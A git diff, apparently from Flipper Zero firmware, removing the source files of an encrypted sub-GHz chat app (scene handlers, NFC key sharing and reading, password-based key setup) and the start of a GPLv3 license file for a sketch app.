- ESubGhzChatKeyMenuItems_ReadKeyFromNfc,
- key_menu_cb,
- state);
-
- view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Menu);
-}
-
-/* Handles scene manager events for the key menu scene. */
-bool scene_on_event_key_menu(void* context, SceneManagerEvent event) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_menu");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- bool consumed = false;
-
- switch(event.type) {
- case SceneManagerEventTypeCustom:
- switch(event.event) {
- /* switch to frequency input scene */
- case ESubGhzChatEvent_KeyMenuNoEncryption:
- case ESubGhzChatEvent_KeyMenuGenKey:
- scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
- consumed = true;
- break;
-
- /* switch to password input scene */
- case ESubGhzChatEvent_KeyMenuPassword:
- scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_PassInput);
- consumed = true;
- break;
-
- /* switch to hex key input scene */
- case ESubGhzChatEvent_KeyMenuHexKey:
- scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_HexKeyInput);
- consumed = true;
- break;
-
- /* switch to hex key read scene */
- case ESubGhzChatEvent_KeyMenuReadKeyFromNfc:
- scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyReadPopup);
- consumed = true;
- break;
- }
-
- break;
-
- case SceneManagerEventTypeBack:
- /* stop the application if the user presses back here */
- view_dispatcher_stop(state->view_dispatcher);
- consumed = true;
- break;
-
- default:
- consumed = false;
- break;
- }
-
- return consumed;
-}
-
-/* Cleans up the key menu scene. */
-void scene_on_exit_key_menu(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_menu");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- menu_reset(state->menu);
-}
diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_key_read_popup.c b/applications/external/esubghz_chat/scenes/esubghz_chat_key_read_popup.c
deleted file mode 100644
index db1f75491..000000000
--- a/applications/external/esubghz_chat/scenes/esubghz_chat_key_read_popup.c
+++ /dev/null
@@ -1,273 +0,0 @@
-#include "../esubghz_chat_i.h"
-#include "../helpers/nfc_helpers.h"
-
-typedef enum {
- KeyReadPopupState_Idle,
- KeyReadPopupState_Detecting,
- KeyReadPopupState_Reading,
- KeyReadPopupState_Fail,
- KeyReadPopupState_Success,
-} KeyReadPopupState;
-
-static bool read_worker_cb(NfcWorkerEvent event, void* context) {
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- view_dispatcher_send_custom_event(state->view_dispatcher, event);
-
- return true;
-}
-
-static void key_read_popup_timeout_cb(void* context) {
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- uint32_t cur_state =
- scene_manager_get_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup);
-
- /* done displaying our failure */
- if(cur_state == KeyReadPopupState_Fail) {
- view_dispatcher_send_custom_event(
- state->view_dispatcher, ESubGhzChatEvent_KeyReadPopupFailed);
- /* done displaying our success */
- } else if(cur_state == KeyReadPopupState_Success) {
- view_dispatcher_send_custom_event(
- state->view_dispatcher, ESubGhzChatEvent_KeyReadPopupSucceeded);
- }
-}
-
-struct ReplayDictNfcReaderContext {
- uint8_t* cur;
- uint8_t* max;
-};
-
-static bool replay_dict_nfc_reader(uint64_t* run_id, uint32_t* counter, void* context) {
- struct ReplayDictNfcReaderContext* ctx = (struct ReplayDictNfcReaderContext*)context;
-
- if(ctx->cur + sizeof(struct ReplayDictNfcEntry) > ctx->max) {
- return false;
- }
-
- struct ReplayDictNfcEntry* entry = (struct ReplayDictNfcEntry*)ctx->cur;
- *run_id = entry->run_id;
- *counter = __ntohl(entry->counter);
-
- ctx->cur += sizeof(struct ReplayDictNfcEntry);
-
- return true;
-}
-
-static bool key_read_popup_handle_key_read(ESubGhzChatState* state) {
- NfcDeviceData* dev_data = state->nfc_dev_data;
-
- /* check for config pages */
- if(dev_data->mf_ul_data.data_read < NFC_CONFIG_PAGES * 4) {
- return false;
- }
-
- size_t data_read = dev_data->mf_ul_data.data_read - (NFC_CONFIG_PAGES * 4);
-
- /* check if key was transmitted */
- if(data_read < KEY_BITS / 8) {
- return false;
- }
-
- /* initiate the crypto context */
- bool ret = crypto_ctx_set_key(
- state->crypto_ctx, dev_data->mf_ul_data.data, state->name_prefix, furi_get_tick());
-
- /* cleanup */
- crypto_explicit_bzero(dev_data->mf_ul_data.data, KEY_BITS / 8);
-
- if(!ret) {
- crypto_ctx_clear(state->crypto_ctx);
- return false;
- }
-
- /* read the frequency */
- if(data_read >= (KEY_BITS / 8) + sizeof(struct FreqNfcEntry)) {
- struct FreqNfcEntry* freq_entry =
- (struct FreqNfcEntry*)(dev_data->mf_ul_data.data + (KEY_BITS / 8));
- state->frequency = __ntohl(freq_entry->frequency);
- }
-
- /* read the replay dict */
- struct ReplayDictNfcReaderContext rd_ctx = {
- .cur = dev_data->mf_ul_data.data + (KEY_BITS / 8) + sizeof(struct FreqNfcEntry),
- .max =
- dev_data->mf_ul_data.data + (data_read < NFC_MAX_BYTES ? data_read : NFC_MAX_BYTES)};
-
- crypto_ctx_read_replay_dict(state->crypto_ctx, replay_dict_nfc_reader, &rd_ctx);
-
- /* set encrypted flag */
- state->encrypted = true;
-
- return true;
-}
-
-static void key_read_popup_set_state(ESubGhzChatState* state, KeyReadPopupState new_state) {
- uint32_t cur_state =
- scene_manager_get_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup);
- if(cur_state == new_state) {
- return;
- }
-
- if(new_state == KeyReadPopupState_Detecting) {
- popup_reset(state->nfc_popup);
- popup_disable_timeout(state->nfc_popup);
- popup_set_text(state->nfc_popup, "Tap Flipper\n to sender", 97, 24, AlignCenter, AlignTop);
- popup_set_icon(state->nfc_popup, 0, 8, &I_NFC_manual_60x50);
- notification_message(state->notification, &sequence_blink_start_cyan);
- } else if(new_state == KeyReadPopupState_Reading) {
- popup_reset(state->nfc_popup);
- popup_disable_timeout(state->nfc_popup);
- popup_set_header(
- state->nfc_popup,
- "Reading key\nDon't "
- "move...",
- 85,
- 24,
- AlignCenter,
- AlignTop);
- popup_set_icon(state->nfc_popup, 12, 23, &I_Loading_24);
- notification_message(state->notification, &sequence_blink_start_yellow);
- } else if(new_state == KeyReadPopupState_Fail) {
- nfc_worker_stop(state->nfc_worker);
-
- popup_reset(state->nfc_popup);
- popup_set_header(state->nfc_popup, "Failure!", 64, 2, AlignCenter, AlignTop);
- popup_set_text(state->nfc_popup, "Failed\nto read\nkey.", 78, 16, AlignLeft, AlignTop);
- popup_set_icon(state->nfc_popup, 21, 13, &I_Cry_dolph_55x52);
-
- popup_set_timeout(state->nfc_popup, KEY_READ_POPUP_MS);
- popup_set_context(state->nfc_popup, state);
- popup_set_callback(state->nfc_popup, key_read_popup_timeout_cb);
- popup_enable_timeout(state->nfc_popup);
-
- notification_message(state->notification, &sequence_blink_stop);
- } else if(new_state == KeyReadPopupState_Success) {
- nfc_worker_stop(state->nfc_worker);
-
- popup_reset(state->nfc_popup);
- popup_set_header(state->nfc_popup, "Key\nread!", 13, 22, AlignLeft, AlignBottom);
- popup_set_icon(state->nfc_popup, 32, 5, &I_DolphinNice_96x59);
-
- popup_set_timeout(state->nfc_popup, KEY_READ_POPUP_MS);
- popup_set_context(state->nfc_popup, state);
- popup_set_callback(state->nfc_popup, key_read_popup_timeout_cb);
- popup_enable_timeout(state->nfc_popup);
-
- notification_message(state->notification, &sequence_success);
- notification_message(state->notification, &sequence_blink_stop);
- }
-
- scene_manager_set_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup, new_state);
-
- view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_NfcPopup);
-}
-
-/* Prepares the key share read scene. */
-void scene_on_enter_key_read_popup(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_read_popup");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- key_read_popup_set_state(state, KeyReadPopupState_Detecting);
-
- state->nfc_dev_data->parsed_data = furi_string_alloc();
- if(state->nfc_dev_data->parsed_data == NULL) {
- /* can't do anything here, crash */
- furi_check(0);
- }
-
- nfc_worker_start(
- state->nfc_worker, NfcWorkerStateRead, state->nfc_dev_data, read_worker_cb, state);
-}
-
-/* Handles scene manager events for the key read popup scene. */
-bool scene_on_event_key_read_popup(void* context, SceneManagerEvent event) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_read_popup");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- bool consumed = false;
-
- switch(event.type) {
- case SceneManagerEventTypeCustom:
- switch(event.event) {
- /* card detected */
- case NfcWorkerEventCardDetected:
- key_read_popup_set_state(state, KeyReadPopupState_Reading);
- consumed = true;
- break;
-
- /* no card detected */
- case NfcWorkerEventNoCardDetected:
- key_read_popup_set_state(state, KeyReadPopupState_Detecting);
- consumed = true;
- break;
-
- /* key probably read */
- case NfcWorkerEventReadMfUltralight:
- if(key_read_popup_handle_key_read(state)) {
- key_read_popup_set_state(state, KeyReadPopupState_Success);
- } else {
- key_read_popup_set_state(state, KeyReadPopupState_Fail);
- }
- consumed = true;
- break;
-
- /* close the popup and go back */
- case ESubGhzChatEvent_KeyReadPopupFailed:
- if(!scene_manager_previous_scene(state->scene_manager)) {
- view_dispatcher_stop(state->view_dispatcher);
- }
- consumed = true;
- break;
-
- /* success, go to frequency input */
- case ESubGhzChatEvent_KeyReadPopupSucceeded:
- scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
- consumed = true;
- break;
-
- /* something else happend, treat as failure */
- default:
- key_read_popup_set_state(state, KeyReadPopupState_Fail);
- consumed = true;
- break;
- }
-
- break;
-
- default:
- consumed = false;
- break;
- }
-
- return consumed;
-}
-
-/* Cleans up the key read popup scene. */
-void scene_on_exit_key_read_popup(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_read_popup");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- popup_reset(state->nfc_popup);
- scene_manager_set_scene_state(
- state->scene_manager, ESubGhzChatScene_KeyReadPopup, KeyReadPopupState_Idle);
-
- notification_message(state->notification, &sequence_blink_stop);
-
- nfc_worker_stop(state->nfc_worker);
-
- crypto_explicit_bzero(state->nfc_dev_data->mf_ul_data.data, KEY_BITS / 8);
- if(state->nfc_dev_data->parsed_data != NULL) {
- furi_string_free(state->nfc_dev_data->parsed_data);
- }
- memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData));
-}
diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_key_share_popup.c b/applications/external/esubghz_chat/scenes/esubghz_chat_key_share_popup.c
deleted file mode 100644
index 07d85cb33..000000000
--- a/applications/external/esubghz_chat/scenes/esubghz_chat_key_share_popup.c
+++ /dev/null
@@ -1,124 +0,0 @@
-#include "../esubghz_chat_i.h"
-#include "../helpers/nfc_helpers.h"
-
-struct ReplayDictNfcWriterContext {
- uint8_t* cur;
- uint8_t* max;
-};
-
-static bool replay_dict_nfc_writer(uint64_t run_id, uint32_t counter, void* context) {
- struct ReplayDictNfcWriterContext* ctx = (struct ReplayDictNfcWriterContext*)context;
-
- struct ReplayDictNfcEntry entry = {.run_id = run_id, .counter = __htonl(counter), .unused = 0};
-
- if(ctx->cur + sizeof(entry) > ctx->max) {
- return false;
- }
-
- memcpy(ctx->cur, &entry, sizeof(entry));
- ctx->cur += sizeof(entry);
-
- return true;
-}
-
-static void prepare_nfc_dev_data(ESubGhzChatState* state) {
- NfcDeviceData* dev_data = state->nfc_dev_data;
-
- dev_data->protocol = NfcDeviceProtocolMifareUl;
- furi_hal_random_fill_buf(dev_data->nfc_data.uid, 7);
- dev_data->nfc_data.uid_len = 7;
- dev_data->nfc_data.atqa[0] = 0x44;
- dev_data->nfc_data.atqa[1] = 0x00;
- dev_data->nfc_data.sak = 0x00;
-
- dev_data->mf_ul_data.type = MfUltralightTypeNTAG215;
- dev_data->mf_ul_data.version.header = 0x00;
- dev_data->mf_ul_data.version.vendor_id = 0x04;
- dev_data->mf_ul_data.version.prod_type = 0x04;
- dev_data->mf_ul_data.version.prod_subtype = 0x02;
- dev_data->mf_ul_data.version.prod_ver_major = 0x01;
- dev_data->mf_ul_data.version.prod_ver_minor = 0x00;
- dev_data->mf_ul_data.version.storage_size = 0x11;
- dev_data->mf_ul_data.version.protocol_type = 0x03;
-
- size_t data_written = 0;
-
- /* write key */
- crypto_ctx_get_key(state->crypto_ctx, dev_data->mf_ul_data.data);
- data_written += (KEY_BITS / 8);
-
- /* write frequency */
- struct FreqNfcEntry* freq_entry =
- (struct FreqNfcEntry*)(dev_data->mf_ul_data.data + data_written);
- freq_entry->frequency = __htonl(state->frequency);
- freq_entry->unused1 = 0;
- freq_entry->unused2 = 0;
- freq_entry->unused3 = 0;
- data_written += sizeof(struct FreqNfcEntry);
-
- /* write the replay dict */
- struct ReplayDictNfcWriterContext wr_ctx = {
- .cur = dev_data->mf_ul_data.data + data_written,
- .max = dev_data->mf_ul_data.data + NFC_MAX_BYTES};
-
- size_t n_entries =
- crypto_ctx_dump_replay_dict(state->crypto_ctx, replay_dict_nfc_writer, &wr_ctx);
- data_written += n_entries * sizeof(struct ReplayDictNfcEntry);
-
- /* calculate size of data, add 16 for config pages */
- dev_data->mf_ul_data.data_size = data_written + (NFC_CONFIG_PAGES * 4);
-}
-
-/* Prepares the key share popup scene. */
-void scene_on_enter_key_share_popup(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_share_popup");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- popup_reset(state->nfc_popup);
-
- popup_disable_timeout(state->nfc_popup);
-
- popup_set_header(state->nfc_popup, "Sharing...", 67, 13, AlignLeft, AlignTop);
- popup_set_icon(state->nfc_popup, 0, 3, &I_NFC_dolphin_emulation_47x61);
- popup_set_text(state->nfc_popup, "Sharing\nKey via\nNFC", 90, 28, AlignCenter, AlignTop);
-
- prepare_nfc_dev_data(state);
- nfc_worker_start(
- state->nfc_worker, NfcWorkerStateMfUltralightEmulate, state->nfc_dev_data, NULL, NULL);
-
- notification_message(state->notification, &sequence_blink_start_magenta);
-
- view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_NfcPopup);
-}
-
-/* Handles scene manager events for the key share popup scene. */
-bool scene_on_event_key_share_popup(void* context, SceneManagerEvent event) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_share_popup");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- UNUSED(state);
- UNUSED(event);
-
- return false;
-}
-
-/* Cleans up the key share popup scene. */
-void scene_on_exit_key_share_popup(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_share_popup");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- popup_reset(state->nfc_popup);
-
- notification_message(state->notification, &sequence_blink_stop);
-
- nfc_worker_stop(state->nfc_worker);
-
- crypto_explicit_bzero(state->nfc_dev_data->mf_ul_data.data, KEY_BITS / 8);
- memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData));
-}
diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_pass_input.c b/applications/external/esubghz_chat/scenes/esubghz_chat_pass_input.c
deleted file mode 100644
index f1cf4bfa7..000000000
--- a/applications/external/esubghz_chat/scenes/esubghz_chat_pass_input.c
+++ /dev/null
@@ -1,109 +0,0 @@
-#include "../esubghz_chat_i.h"
-
-/* Sends PassEntered event to scene manager. */
-static void pass_input_cb(void* context) {
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store));
-
- view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_PassEntered);
-}
-
-/* If a password was entered this derives a key from the password using a
- * single pass of SHA256 and initiates the AES-GCM context for encryption. If
- * the initiation fails, the password is rejected. */
-static bool pass_input_validator(const char* text, FuriString* error, void* context) {
- furi_assert(text);
- furi_assert(error);
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- if(strlen(text) == 0) {
- furi_string_printf(error, "Enter a\npassword!");
- return false;
- }
-
- unsigned char key[KEY_BITS / 8];
-
- /* derive a key from the password */
- sha256((unsigned char*)text, strlen(text), key);
-
- /* initiate the crypto context */
- bool ret = crypto_ctx_set_key(state->crypto_ctx, key, state->name_prefix, furi_get_tick());
-
- /* cleanup */
- crypto_explicit_bzero(key, sizeof(key));
-
- if(!ret) {
- crypto_ctx_clear(state->crypto_ctx);
- furi_string_printf(error, "Failed to\nset key!");
- return false;
- }
-
- state->encrypted = true;
-
- return true;
-}
-
-/* Prepares the password input scene. */
-void scene_on_enter_pass_input(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_pass_input");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- state->text_input_store[0] = 0;
- text_input_reset(state->text_input);
- text_input_set_result_callback(
- state->text_input,
- pass_input_cb,
- state,
- state->text_input_store,
- sizeof(state->text_input_store),
- true);
- text_input_set_validator(state->text_input, pass_input_validator, state);
- text_input_set_header_text(state->text_input, "Password");
-
- view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input);
-}
-
-/* Handles scene manager events for the password input scene. */
-bool scene_on_event_pass_input(void* context, SceneManagerEvent event) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_event_pass_input");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- bool consumed = false;
-
- switch(event.type) {
- case SceneManagerEventTypeCustom:
- switch(event.event) {
- /* switch to frequency input scene */
- case ESubGhzChatEvent_PassEntered:
- scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
- consumed = true;
- break;
- }
- break;
-
- default:
- consumed = false;
- break;
- }
-
- return consumed;
-}
-
-/* Cleans up the password input scene. */
-void scene_on_exit_pass_input(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_pass_input");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- text_input_reset(state->text_input);
- crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store));
-}
diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_scene.c b/applications/external/esubghz_chat/scenes/esubghz_chat_scene.c
deleted file mode 100644
index 5efb8ea10..000000000
--- a/applications/external/esubghz_chat/scenes/esubghz_chat_scene.c
+++ /dev/null
@@ -1,30 +0,0 @@
-#include "esubghz_chat_scene.h"
-
-// Generate scene on_enter handlers array
-#define ADD_SCENE(prefix, name, id) scene_on_enter_##name,
-void (*const esubghz_chat_scene_on_enter_handlers[])(void*) = {
-#include "esubghz_chat_scene_config.h"
-};
-#undef ADD_SCENE
-
-// Generate scene on_event handlers array
-#define ADD_SCENE(prefix, name, id) scene_on_event_##name,
-bool (*const esubghz_chat_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
-#include "esubghz_chat_scene_config.h"
-};
-#undef ADD_SCENE
-
-// Generate scene on_exit handlers array
-#define ADD_SCENE(prefix, name, id) scene_on_exit_##name,
-void (*const esubghz_chat_scene_on_exit_handlers[])(void* context) = {
-#include "esubghz_chat_scene_config.h"
-};
-#undef ADD_SCENE
-
-// Initialize scene handlers configuration structure
-const SceneManagerHandlers esubghz_chat_scene_event_handlers = {
- .on_enter_handlers = esubghz_chat_scene_on_enter_handlers,
- .on_event_handlers = esubghz_chat_scene_on_event_handlers,
- .on_exit_handlers = esubghz_chat_scene_on_exit_handlers,
- .scene_num = ESubGhzChatScene_MAX,
-};
diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_scene.h b/applications/external/esubghz_chat/scenes/esubghz_chat_scene.h
deleted file mode 100644
index 3f57d2cc7..000000000
--- a/applications/external/esubghz_chat/scenes/esubghz_chat_scene.h
+++ /dev/null
@@ -1,29 +0,0 @@
-#pragma once
-
-#include
-
-// Generate scene id and total number
-#define ADD_SCENE(prefix, name, id) ESubGhzChatScene_##id,
-typedef enum {
-#include "esubghz_chat_scene_config.h"
- ESubGhzChatScene_MAX
-} ESubGhzChatScene;
-#undef ADD_SCENE
-
-extern const SceneManagerHandlers esubghz_chat_scene_event_handlers;
-
-// Generate scene on_enter handlers declaration
-#define ADD_SCENE(prefix, name, id) void scene_on_enter_##name(void*);
-#include "esubghz_chat_scene_config.h"
-#undef ADD_SCENE
-
-// Generate scene on_event handlers declaration
-#define ADD_SCENE(prefix, name, id) \
- bool scene_on_event_##name(void* context, SceneManagerEvent event);
-#include "esubghz_chat_scene_config.h"
-#undef ADD_SCENE
-
-// Generate scene on_exit handlers declaration
-#define ADD_SCENE(prefix, name, id) void scene_on_exit_##name(void* context);
-#include "esubghz_chat_scene_config.h"
-#undef ADD_SCENE
diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_scene_config.h b/applications/external/esubghz_chat/scenes/esubghz_chat_scene_config.h
deleted file mode 100644
index 85981c898..000000000
--- a/applications/external/esubghz_chat/scenes/esubghz_chat_scene_config.h
+++ /dev/null
@@ -1,9 +0,0 @@
-ADD_SCENE(esubghz_chat, freq_input, FreqInput)
-ADD_SCENE(esubghz_chat, key_menu, KeyMenu)
-ADD_SCENE(esubghz_chat, pass_input, PassInput)
-ADD_SCENE(esubghz_chat, hex_key_input, HexKeyInput)
-ADD_SCENE(esubghz_chat, key_read_popup, KeyReadPopup)
-ADD_SCENE(esubghz_chat, chat_input, ChatInput)
-ADD_SCENE(esubghz_chat, chat_box, ChatBox)
-ADD_SCENE(esubghz_chat, key_display, KeyDisplay)
-ADD_SCENE(esubghz_chat, key_share_popup, KeySharePopup)
diff --git a/applications/external/etch_a_sketch/LICENSE b/applications/external/etch_a_sketch/LICENSE
deleted file mode 100644
index f288702d2..000000000
--- a/applications/external/etch_a_sketch/LICENSE
+++ /dev/null
@@ -1,674 +0,0 @@
- GNU GENERAL PUBLIC LICENSE
- Version 3, 29 June 2007
-
- Copyright (C) 2007 Free Software Foundation, Inc.
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
- Preamble
-
- The GNU General Public License is a free, copyleft license for
-software and other kinds of works.
-
- The licenses for most software and other practical works are designed
-to take away your freedom to share and change the works. By contrast,
-the GNU General Public License is intended to guarantee your freedom to
-share and change all versions of a program--to make sure it remains free
-software for all its users. We, the Free Software Foundation, use the
-GNU General Public License for most of our software; it applies also to
-any other work released this way by its authors. You can apply it to
-your programs, too.
-
- When we speak of free software, we are referring to freedom, not
-price. Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-them if you wish), that you receive source code or can get it if you
-want it, that you can change the software or use pieces of it in new
-free programs, and that you know you can do these things.
-
- To protect your rights, we need to prevent others from denying you
-these rights or asking you to surrender the rights. Therefore, you have
-certain responsibilities if you distribute copies of the software, or if
-you modify it: responsibilities to respect the freedom of others.
-
- For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must pass on to the recipients the same
-freedoms that you received. You must make sure that they, too, receive
-or can get the source code. And you must show them these terms so they
-know their rights.
-
- Developers that use the GNU GPL protect your rights with two steps:
-(1) assert copyright on the software, and (2) offer you this License
-giving you legal permission to copy, distribute and/or modify it.
-
- For the developers' and authors' protection, the GPL clearly explains
-that there is no warranty for this free software. For both users' and
-authors' sake, the GPL requires that modified versions be marked as
-changed, so that their problems will not be attributed erroneously to
-authors of previous versions.
-
- Some devices are designed to deny users access to install or run
-modified versions of the software inside them, although the manufacturer
-can do so. This is fundamentally incompatible with the aim of
-protecting users' freedom to change the software. The systematic
-pattern of such abuse occurs in the area of products for individuals to
-use, which is precisely where it is most unacceptable. Therefore, we
-have designed this version of the GPL to prohibit the practice for those
-products. If such problems arise substantially in other domains, we
-stand ready to extend this provision to those domains in future versions
-of the GPL, as needed to protect the freedom of users.
-
- Finally, every program is threatened constantly by software patents.
-States should not allow patents to restrict development and use of
-software on general-purpose computers, but in those that do, we wish to
-avoid the special danger that patents applied to a free program could
-make it effectively proprietary. To prevent this, the GPL assures that
-patents cannot be used to render the program non-free.
-
- The precise terms and conditions for copying, distribution and
-modification follow.
-
- TERMS AND CONDITIONS
-
- 0. Definitions.
-
- "This License" refers to version 3 of the GNU General Public License.
-
- "Copyright" also means copyright-like laws that apply to other kinds of
-works, such as semiconductor masks.
-
- "The Program" refers to any copyrightable work licensed under this
-License. Each licensee is addressed as "you". "Licensees" and
-"recipients" may be individuals or organizations.
-
- To "modify" a work means to copy from or adapt all or part of the work
-in a fashion requiring copyright permission, other than the making of an
-exact copy. The resulting work is called a "modified version" of the
-earlier work or a work "based on" the earlier work.
-
- A "covered work" means either the unmodified Program or a work based
-on the Program.
-
- To "propagate" a work means to do anything with it that, without
-permission, would make you directly or secondarily liable for
-infringement under applicable copyright law, except executing it on a
-computer or modifying a private copy. Propagation includes copying,
-distribution (with or without modification), making available to the
-public, and in some countries other activities as well.
-
- To "convey" a work means any kind of propagation that enables other
-parties to make or receive copies. Mere interaction with a user through
-a computer network, with no transfer of a copy, is not conveying.
-
- An interactive user interface displays "Appropriate Legal Notices"
-to the extent that it includes a convenient and prominently visible
-feature that (1) displays an appropriate copyright notice, and (2)
-tells the user that there is no warranty for the work (except to the
-extent that warranties are provided), that licensees may convey the
-work under this License, and how to view a copy of this License. If
-the interface presents a list of user commands or options, such as a
-menu, a prominent item in the list meets this criterion.
-
- 1. Source Code.
-
- The "source code" for a work means the preferred form of the work
-for making modifications to it. "Object code" means any non-source
-form of a work.
-
- A "Standard Interface" means an interface that either is an official
-standard defined by a recognized standards body, or, in the case of
-interfaces specified for a particular programming language, one that
-is widely used among developers working in that language.
-
- The "System Libraries" of an executable work include anything, other
-than the work as a whole, that (a) is included in the normal form of
-packaging a Major Component, but which is not part of that Major
-Component, and (b) serves only to enable use of the work with that
-Major Component, or to implement a Standard Interface for which an
-implementation is available to the public in source code form. A
-"Major Component", in this context, means a major essential component
-(kernel, window system, and so on) of the specific operating system
-(if any) on which the executable work runs, or a compiler used to
-produce the work, or an object code interpreter used to run it.
-
- The "Corresponding Source" for a work in object code form means all
-the source code needed to generate, install, and (for an executable
-work) run the object code and to modify the work, including scripts to
-control those activities. However, it does not include the work's
-System Libraries, or general-purpose tools or generally available free
-programs which are used unmodified in performing those activities but
-which are not part of the work. For example, Corresponding Source
-includes interface definition files associated with source files for
-the work, and the source code for shared libraries and dynamically
-linked subprograms that the work is specifically designed to require,
-such as by intimate data communication or control flow between those
-subprograms and other parts of the work.
-
- The Corresponding Source need not include anything that users
-can regenerate automatically from other parts of the Corresponding
-Source.
-
- The Corresponding Source for a work in source code form is that
-same work.
-
- 2. Basic Permissions.
-
- All rights granted under this License are granted for the term of
-copyright on the Program, and are irrevocable provided the stated
-conditions are met. This License explicitly affirms your unlimited
-permission to run the unmodified Program. The output from running a
-covered work is covered by this License only if the output, given its
-content, constitutes a covered work. This License acknowledges your
-rights of fair use or other equivalent, as provided by copyright law.
-
- You may make, run and propagate covered works that you do not
-convey, without conditions so long as your license otherwise remains
-in force. You may convey covered works to others for the sole purpose
-of having them make modifications exclusively for you, or provide you
-with facilities for running those works, provided that you comply with
-the terms of this License in conveying all material for which you do
-not control copyright. Those thus making or running the covered works
-for you must do so exclusively on your behalf, under your direction
-and control, on terms that prohibit them from making any copies of
-your copyrighted material outside their relationship with you.
-
- Conveying under any other circumstances is permitted solely under
-the conditions stated below. Sublicensing is not allowed; section 10
-makes it unnecessary.
-
- 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
-
- No covered work shall be deemed part of an effective technological
-measure under any applicable law fulfilling obligations under article
-11 of the WIPO copyright treaty adopted on 20 December 1996, or
-similar laws prohibiting or restricting circumvention of such
-measures.
-
- When you convey a covered work, you waive any legal power to forbid
-circumvention of technological measures to the extent such circumvention
-is effected by exercising rights under this License with respect to
-the covered work, and you disclaim any intention to limit operation or
-modification of the work as a means of enforcing, against the work's
-users, your or third parties' legal rights to forbid circumvention of
-technological measures.
-
- 4. Conveying Verbatim Copies.
-
- You may convey verbatim copies of the Program's source code as you
-receive it, in any medium, provided that you conspicuously and
-appropriately publish on each copy an appropriate copyright notice;
-keep intact all notices stating that this License and any
-non-permissive terms added in accord with section 7 apply to the code;
-keep intact all notices of the absence of any warranty; and give all
-recipients a copy of this License along with the Program.
-
- You may charge any price or no price for each copy that you convey,
-and you may offer support or warranty protection for a fee.
-
- 5. Conveying Modified Source Versions.
-
- You may convey a work based on the Program, or the modifications to
-produce it from the Program, in the form of source code under the
-terms of section 4, provided that you also meet all of these conditions:
-
- a) The work must carry prominent notices stating that you modified
- it, and giving a relevant date.
-
- b) The work must carry prominent notices stating that it is
- released under this License and any conditions added under section
- 7. This requirement modifies the requirement in section 4 to
- "keep intact all notices".
-
- c) You must license the entire work, as a whole, under this
- License to anyone who comes into possession of a copy. This
- License will therefore apply, along with any applicable section 7
- additional terms, to the whole of the work, and all its parts,
- regardless of how they are packaged. This License gives no
- permission to license the work in any other way, but it does not
- invalidate such permission if you have separately received it.
-
- d) If the work has interactive user interfaces, each must display
- Appropriate Legal Notices; however, if the Program has interactive
- interfaces that do not display Appropriate Legal Notices, your
- work need not make them do so.
-
- A compilation of a covered work with other separate and independent
-works, which are not by their nature extensions of the covered work,
-and which are not combined with it such as to form a larger program,
-in or on a volume of a storage or distribution medium, is called an
-"aggregate" if the compilation and its resulting copyright are not
-used to limit the access or legal rights of the compilation's users
-beyond what the individual works permit. Inclusion of a covered work
-in an aggregate does not cause this License to apply to the other
-parts of the aggregate.
-
- 6. Conveying Non-Source Forms.
-
- You may convey a covered work in object code form under the terms
-of sections 4 and 5, provided that you also convey the
-machine-readable Corresponding Source under the terms of this License,
-in one of these ways:
-
- a) Convey the object code in, or embodied in, a physical product
- (including a physical distribution medium), accompanied by the
- Corresponding Source fixed on a durable physical medium
- customarily used for software interchange.
-
